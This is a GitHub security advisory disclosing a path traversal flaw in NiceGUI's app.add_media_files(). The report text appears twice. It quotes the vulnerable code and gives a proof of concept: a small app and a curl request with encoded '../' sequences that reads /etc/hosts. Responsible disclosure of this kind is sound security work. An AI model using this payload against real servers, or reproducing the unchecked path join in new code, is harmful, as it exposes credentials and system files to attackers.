Headline
GHSA-hxp3-63hc-5366: NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read
Summary
A directory traversal vulnerability in NiceGUI’s App.add_media_files() allows a remote attacker to read arbitrary files on the server filesystem.
Details
Hello, I am Seungbin Yang, a university student studying cybersecurity. While reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.
The App.add_media_files(url_path, local_directory) method allows users to serve media files. However, the implementation lacks proper path validation.
def add_media_files(self, url_path: str, local_directory: Union[str, Path]) -> None:
@self.get(url_path.rstrip('/') + '/{filename:path}')
def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -> Response:
filepath = Path(local_directory) / filename
if not filepath.is_file():
raise HTTPException(status_code=404, detail='Not Found')
return get_range_response(filepath, request, chunk_size=nicegui_chunk_size)
Root Cause:
- The
{filename:path}parameter accepts full paths, including traversal sequences like../. - The code simply joins local_directory and filename without checking if the result is still inside the local_directory.
- There is no path sanitization or boundary check.
Consequence:
An attacker can use .. to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.
POC
- Create
poc.py:
# poc.py
from pathlib import Path
from nicegui import app, ui
MEDIA_DIR = Path(__file__).parent / 'media'
MEDIA_DIR.mkdir(exist_ok=True)
# Expose local "media" directory at /media
app.add_media_files('/media', MEDIA_DIR)
@ui.page('/')
def index():
ui.label('NiceGUI media PoC')
ui.run(port=8080, reload=False)
Run the application:
python3 poc.pyExploit with curl: Use URL-encoded dots (
%2e) to bypass client-side checks.curl -v "http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts"
Result:
The HTTP status is 200 OK, and the response body contains the contents of the server’s /etc/hosts file.
I have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.
<img width="1728" height="1078" alt="POC screenshot" src="https://github.com/user-attachments/assets/6c1be75b-6be2-4372-90df-55042c1e4775" />
Impact
Any NiceGUI application that calls app.add_media_files() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:
•Application source code and configuration files •Credentials, API keys, and secrets •Operating system configuration files (e.g., /etc/passwd, /etc/hosts)
This is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at y4rvin@naver.com.
Thank you.
Summary
A directory traversal vulnerability in NiceGUI’s App.add_media_files() allows a remote attacker to read arbitrary files on the server filesystem.
Details
Hello, I am Seungbin Yang, a university student studying cybersecurity.
While reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.
The App.add_media_files(url_path, local_directory) method allows users to serve media files. However, the implementation lacks proper path validation.
def add_media_files(self, url_path: str, local_directory: Union[str, Path]) -> None: @self.get(url_path.rstrip(‘/’) + ‘/{filename:path}’) def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -> Response: filepath = Path(local_directory) / filename if not filepath.is_file(): raise HTTPException(status_code=404, detail=’Not Found’) return get_range_response(filepath, request, chunk_size=nicegui_chunk_size)
Root Cause:
- The {filename:path} parameter accepts full paths, including traversal sequences like …/.
- The code simply joins local_directory and filename without checking if the result is still inside the local_directory.
- There is no path sanitization or boundary check.
Consequence:
An attacker can use … to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.
POC
- Create poc.py:
# poc.py from pathlib import Path from nicegui import app, ui
MEDIA_DIR = Path(__file__).parent / ‘media’ MEDIA_DIR.mkdir(exist_ok=True)
# Expose local “media” directory at /media app.add_media_files('/media’, MEDIA_DIR)
@ui.page(‘/’) def index(): ui.label(‘NiceGUI media PoC’)
ui.run(port=8080, reload=False)
Run the application: python3 poc.py
Exploit with curl: Use URL-encoded dots (%2e) to bypass client-side checks.
curl -v “http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts”
Result:
The HTTP status is 200 OK, and the response body contains the contents of the server’s /etc/hosts file.
I have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.
Impact
Any NiceGUI application that calls app.add_media_files() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:
•Application source code and configuration files
•Credentials, API keys, and secrets
•Operating system configuration files (e.g., /etc/passwd, /etc/hosts)
This is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at y4rvin@naver.com.
Thank you.
References
- GHSA-hxp3-63hc-5366
- zauberzeug/nicegui@a1b89e2